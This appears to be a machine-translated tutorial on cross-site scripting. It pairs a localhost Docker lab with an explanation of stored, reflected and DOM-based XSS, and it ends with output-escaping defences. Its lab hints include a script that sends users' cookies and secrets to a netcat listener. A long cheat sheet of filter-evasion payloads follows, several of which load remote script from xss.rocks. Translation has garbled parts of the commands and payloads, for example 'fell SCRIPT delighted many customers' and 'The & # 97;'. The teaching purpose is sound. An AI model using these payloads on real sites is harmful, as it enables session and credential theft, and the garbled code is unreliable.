You would think that XSS, SQL injection, CSRF and other common vulnerabilities in the past would have been handled well with the development of Web technology for so long. Recent work has found that this is not the case. It may be that frameworks and tools do these things so well that people forget about the existence of these vulnerabilities and do not take advantage of the vulnerability prevention features provided by frameworks. I think it’s important to understand the common types of security vulnerabilities even today. The original address

This article will help developers understand the principles, details, and simple attack and defense methods of XSS vulnerabilities step by step. Practice is a bit more difficult for those who are not familiar with XSS or Web development. If you find it difficult, you can go straight to the next tip. It doesn’t matter if you feel that the practical task is really difficult to understand, because the requirement of the developer is not to master it, but to know how to avoid it, or even just to know which features of the framework can be avoided with such a bug. In the process of implementing security development at the company level, developers are often unable to understand the principle of vulnerability, and usually do not require developers to have such knowledge, but set up security testing posts to verify, and developers only need to modify according to the suggestions. Of course, if everyone knew there was such a thing, it would save a lot of time in testing changes, and it would also be good.

I’ve had people who are not involved in Web development ask what the harm of XSS attacks is. When a browser opens a web page, it executes some code in the web page, usually Javascript, that controls the page’s submission requests. By constructing an XSS attack script, an attacker can do anything a user can do on an attacked page, including adding to a shopping cart, submitting comments, modifying scores, obtaining private data, etc. An attacker can also steal your cookies via XSS, so he can have your account for a short period of time. XSS attacks do not only affect the sites with these vulnerabilities. When users open these compromised sites, or phishing sites, they may click through to those sites without XSS vulnerability and make a request to complete the attack.

Practical task Description

If you have a Linux environment and Docker installed, follow these steps to get started.

  1. Download the Github project:

  2. Run the 001-XSS task

    cd security-tutorial cd 001-xss make docker make run

  3. Open the browser http://localhost:8080. If you use a VM and want to access the vm from another computer, change localhost to the VM IP address and ensure that the firewall is open.

  4. Open web pages that generate ids and Secret for each user, and find a way to get this information from other users, as well as cookies.

Task Hint 1

The page has an input box, and after submission, the input is displayed on the page for all users to see. If you input a piece of code, can you execute it? Try typing:

Test xss and print cookie, user id,user secret on console. <script type="text/javascript"> console.log(document.cookie);  console.log(document.getElementById('user_id').innerText); console.log(document.getElementById('user_secret').innerText); </script>Copy the code

Task Hint 2

Open in different browsers for different users.

To start a server to collect this information, use the NC demonstration here.

while true; Do the echo - e "HTTP / 1.1 200 OK \ nContent - Length: 0 \ n \ n" | nc -l -p 8888; doneCopy the code

Port 8888 is turned on as the HTTP server, and any requests are printed to the screen. To make it easier to use the same Linux server here.

Javascript code is not directly called, because CORS protection, different domain name can not call. But images can be linked across domains, as can iframes. Call the GET request with the img tag:

Test xss and send cookie, user id,user secret to http://localhost:8888.

<div id="xss_helper"></div>
<script type="text/javascript">
let myurl = "http://localhost:8888?" +document.cookie+"&id="+document.getElementById('user_id').innerText + "&secret="+document.getElementById('user_secret').innerText;
let dc = document.getElementById("xss_helper");
dc.innerHTML = '<img src="' + myurl + '">";
</script>
Copy the code

XSS attack and defense principles

Cross-site Scripting (XSS) is an attack that attempts to execute what should be data as front-end Javascript code.

Its defense is simple: it does not execute data code generated by an untrusted input source.

Classification of XSS attacks

XSS Attacks fall into two types: Stored XSS Attacks and Reflected XSS Attacks. There is actually a third, less well known category: DOM Based XSS. The first two are more popular, and the last one is less known. I usually say there are two categories when talking with people, so there is no need to argue with others. Moreover, these categories are more important for attackers, which can give them attack ideas, but they are of little significance for our development, because the prevention methods are the same.

Stored XSS attack

The injected script is saved to a server, typically a database, which can be a discussion, article, access log, comment, etc. The victim opens the web page, the server returns the page containing the script to the victim, and the browser executes the script. This is a complete stored XSS attack flow. The attacks of the above practical tasks are stored XSS attacks.

The victim can be another user with the same permissions as the attacker. In this case, the attacker can try and open the page repeatedly to verify whether his attack script works. The victims can be system administrators or other users with privileges that the attackers don’t have. In these cases, the attackers can’t open the attacked page for verification. Hackers call this attack “Blind XSS” (Blind Cross-site Scripting). Blind XSS usually uses feedback, logging systems, and so on for XSS script injection, which is executed when an administrator or background user opens a page browser that contains the attacker’s script. Blind XSS attacks are so hard that hackers have given them a name, which I think falls under the category of stored XSS attacks.

Reflex XSS attack

The attacker gives the victim a link, a button, or even just a well-designed attack site containing a script that the victim clicks or visits, and the server returns the page containing the script. The content returned by the server containing the script could be an error message, a search result, a 404 page, or any other place containing the request parameters.

DOM based XSS attack

Some types of url content do not pass through the server, but are directly retrieved by the browser to add to the page content, such as the following request:

http://www.some.site/page.html#q=<script>alert(document.cookie)</script>
Copy the code

The script is in the URI fragment, which is not sent to the server but is only accessible on the page. If the logic in the page uses this content directly without validation, for example:

. document.write(decodeURIComponent(document.location.href.substring(document.location.href.indexOf("q=")+2))); .Copy the code

In this case, the local code in the above request will appear on the web page. Because the code is not saved to the server, it is not stored, returned by the server, and it is not reflected.

Read Amit Klein’s article on DOM Base XSS for more details.

XSS vulnerability testing

Whether XSS vulnerability exists in the current system can be determined by testing or code review, and testing and verification are common. The following test list lists common attack scripts. You can also search for “XSS Polyglot”. These might be used in HTML tags, script tags, attributes, or urls. There will be a lot of similar content on the web, mostly for WAF skipping, the principle is similar, but use unfamiliar features, escapes, special characters, etc.

The label

Enter the tag directly, which contains code such as:

<script type="text/javascript">
console.log(document.cookie);
</script>
Copy the code

Or embed the test script directly:

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
Copy the code

HTML Tag attributes

For example onload, onmouseover, onerror:

<b onmouseover=alert('ops! ')>Click me! </b> <img src="x" onerror=alert("ops!" ); >Copy the code

URL Encode format

Some WaFs (Web Application Filters) validate input requests and intercept them. In this case, the coded grid can be used:

<IMG SRC=j&#X41vascript:alert('ops! ') >Copy the code

Base64

<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnb3BzJyk8L3NjcmlwdD4K">Copy the code

Img tags

<IMG SRC="javascript:alert('XSS');" > <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert(&quot; XSS&quot;) > <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>Copy the code

Destroy the labels

\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

\<a onmouseover=alert(document.cookie)\>xxs link\</a\>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
Copy the code

fromCharCode

< IMG SRC = javascript: alert (String. FromCharCode,83,83 (88)) >Copy the code

Various encoding escapes

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0 000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"> <IMG SRC=&#106; The & # 97; The & # 118; The & # 97; The & # 115; The & # 99; The & # 114; The & # 105; The & # 112; The & # 116; & # 58; The & # 97; The & # 108; The & # 101; The & # 114; The & # 116; & # 40; & # 39; The & # 88; The & # 83; The & # 83; & # 39; & # 41; > <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#000010 8&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>Copy the code

Insert special characters

<IMG SRC="jav ascript:alert('XSS');" > <IMG SRC="jav&#x09; ascript:alert('XSS');" > <IMG SRC="jav&#x0A; ascript:alert('XSS');" > <IMG SRC="jav&#x0D; ascript:alert('XSS');" > perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>"; ' > out <IMG SRC=" &#14; javascript:alert('XSS');" > <BODY onload! # $% & * () ~ + - _. :; ? @[/|\]^`=alert("XSS")> <SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT> <<SCRIPT>alert("XSS"); / / \ < < / SCRIPT > fell SCRIPT delighted many customers and alert (¢XSS ¢) fell/SCRIPT delighted many customersCopy the code

The label is not closed

<SCRIPT SRC=http://xss.rocks/xss.js? < B > <SCRIPT SRC=//xss.rocks/.j> <IMG SRC="('XSS')" <iframe src=http://xss.rocks/scriptlet.html <Copy the code

escape

<SCRIPT>var a="\\\\"; alert('XSS'); / / "; </SCRIPT>Copy the code

Unfamiliar attributes

<IMG LOWSRC="javascript:alert('XSS')"> <IMG DYNSRC="javascript:alert('XSS')"> <BODY BACKGROUND="javascript:alert('XSS')"> <BGSOUND SRC="javascript:alert('XSS');" > <LINK REL="stylesheet" HREF="javascript:alert('XSS');" > <XSS STYLE="xss:expression(alert('XSS'))">Copy the code

ECMA 6

Set.constructor`alert\x28document.domain\x29
Copy the code

& javascript

<BR SIZE="&{alert('XSS')}">
Copy the code

Style injection

<STYLE>@import'http://xss.rocks/xss.css'; </STYLE> <STYLE>@import'http://xss.rocks/xss.css'; </STYLE> <META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> <STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")'; </STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <STYLE TYPE="text/javascript">alert('XSS'); </STYLE> <STYLE>.XSS{background-image:url("javascript:alert('XSS')"); }</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE> <XSS STYLE="behavior: url(xss.htc);" >Copy the code

Avoid XSS vulnerabilities

Most Web frameworks provide ways to avoid XSS vulnerabilities, mostly using output escapes. To put it simply, untrusted content is escaped by HTML, and then spliced into a page. The escaped code is not executed, but displayed by the browser. Golang provides HTML, HTML /template packages, and PHP frameworks provide their own escape functions. The names of these functions probably include “HTML” and “Encode”, and the content in urls usually contains the words “URLEncode”.

Thanks to DOM Based XSS, the url content must be escaped not only on the server, but also on the browser side if it is to be used.

One more thing to note is that you must explicitly set the Content-Type in the HTML return header. The following example returns JSON, but the code is still executed by the browser:

HTTP / 1.1 200 the content-type: text/HTML. charset=utf-8 <-- bad .... {"Message":"No HTTP resource was found that matches the request URI 'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine=The+Gardens<script>alert(1)</script>&AddressLine2=foxlodge+woods&Tow nName=Meath'.","MessageDetail":"No type was found that matches the controller named 'pay'."}Copy the code

Content-type: application/json; Charset = utf-8.

If you are using a framework, it is best to search for XSS prevention on the web or in the framework documentation. Most have a more sophisticated and simpler approach.